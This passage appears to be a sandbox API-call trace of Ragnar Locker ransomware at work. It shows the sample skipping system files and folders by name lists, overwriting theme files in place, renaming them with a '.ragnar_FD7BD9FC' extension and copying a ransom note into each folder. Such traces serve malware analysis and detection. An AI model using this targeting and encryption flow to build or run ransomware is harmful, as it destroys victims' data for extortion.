1 [0074.740] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.740] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x249, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.740] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x249, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x249, lpOverlapped=0x0) returned 1 [0074.740] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x249, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.740] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.740] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x249, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.740] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.740] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.740] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.740] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.741] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.741] GetProcessHeap () returned 0x580000 [0074.741] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.741] CloseHandle (hObject=0x10c) returned 1 [0074.741] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" [0074.741] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.ragnar_FD7BD9FC" [0074.741] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.741] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.741] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.741] lstrcpyW (in: lpString1=0x1eab70, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0074.742] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned=".GIF" [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0074.742] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0074.742] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0074.742] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0074.742] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0074.742] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0074.742] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0074.742] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0074.742] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0074.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0074.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0074.743] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1364) returned 1 [0074.743] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x54b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.743] GetProcessHeap () returned 0x580000 [0074.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.743] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.744] VirtualAlloc (lpAddress=0x0, dwSize=0x554, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.744] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.744] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.744] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x554, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x554, lpOverlapped=0x0) returned 1 [0074.744] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.744] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x554, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.744] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x554, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x554, lpOverlapped=0x0) returned 1 [0074.745] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x554, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.745] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.745] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.745] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.745] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.745] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.745] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.745] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.745] GetProcessHeap () returned 0x580000 [0074.745] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.745] CloseHandle (hObject=0x10c) returned 1 [0074.745] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" [0074.745] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.ragnar_FD7BD9FC" [0074.745] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.746] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ec81880, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ec81880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.746] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.746] lstrcpyW (in: lpString1=0x1eab70, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0074.746] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\RGNR_FD7BD9FC.txt") returned=".txt" [0074.746] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0074.746] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.746] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.746] lstrcpyW (in: lpString1=0x1eab70, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0074.746] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned=".PNG" [0074.746] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0074.746] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0074.746] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0074.746] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0074.746] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0074.746] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0074.746] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0074.746] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0074.746] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0074.746] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0074.746] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0074.746] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0074.747] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0074.747] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0074.747] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0074.747] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0074.747] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0074.747] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0074.747] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0074.747] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0074.747] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0074.747] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0074.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0074.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0074.747] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=11573) returned 1 [0074.747] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x2d2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.747] GetProcessHeap () returned 0x580000 [0074.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.747] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2d35, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.768] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.768] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.768] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2d35, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x2d35, lpOverlapped=0x0) returned 1 [0074.769] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.770] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d35, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.770] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2d35, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x2d35, lpOverlapped=0x0) returned 1 [0074.770] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d35, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.770] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.770] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x2d35, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.770] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.770] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.770] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.770] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.770] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.770] GetProcessHeap () returned 0x580000 [0074.770] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.771] CloseHandle (hObject=0x10c) returned 1 [0074.771] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" [0074.771] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0074.771] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.771] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.771] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.771] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0074.771] lstrcmpiW (lpString1="PAPYRUS", lpString2=".") returned 1 [0074.771] lstrcmpiW (lpString1="PAPYRUS", lpString2="..") returned 1 [0074.771] lstrcmpiW (lpString1="PAPYRUS", lpString2="Windows") returned -1 [0074.771] lstrcmpiW (lpString1="PAPYRUS", lpString2="Windows.old") returned -1 [0074.771] lstrcmpiW (lpString1="PAPYRUS", lpString2="Tor browser") returned -1 [0074.771] lstrcmpiW (lpString1="PAPYRUS", lpString2="Internet Explorer") returned 1 [0074.772] lstrcmpiW (lpString1="PAPYRUS", lpString2="Google") returned 1 [0074.772] lstrcmpiW (lpString1="PAPYRUS", lpString2="Opera") returned 1 [0074.772] lstrcmpiW (lpString1="PAPYRUS", lpString2="Opera Software") returned 1 [0074.772] lstrcmpiW (lpString1="PAPYRUS", lpString2="Mozilla") returned 1 [0074.772] lstrcmpiW (lpString1="PAPYRUS", lpString2="Mozilla Firefox") returned 1 [0074.772] lstrcmpiW (lpString1="PAPYRUS", lpString2="$Recycle.Bin") returned 1 [0074.772] lstrcmpiW (lpString1="PAPYRUS", lpString2="ProgramData") returned -1 [0074.772] lstrcmpiW (lpString1="PAPYRUS", lpString2="All Users") returned 1 [0074.772] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0074.772] lstrcpyW (in: lpString1=0x1eb638, lpString2="PAPYRUS" | out: lpString1="PAPYRUS") returned="PAPYRUS" [0074.772] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\" [0074.772] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\" [0074.772] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\RGNR_FD7BD9FC.txt" [0074.772] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: 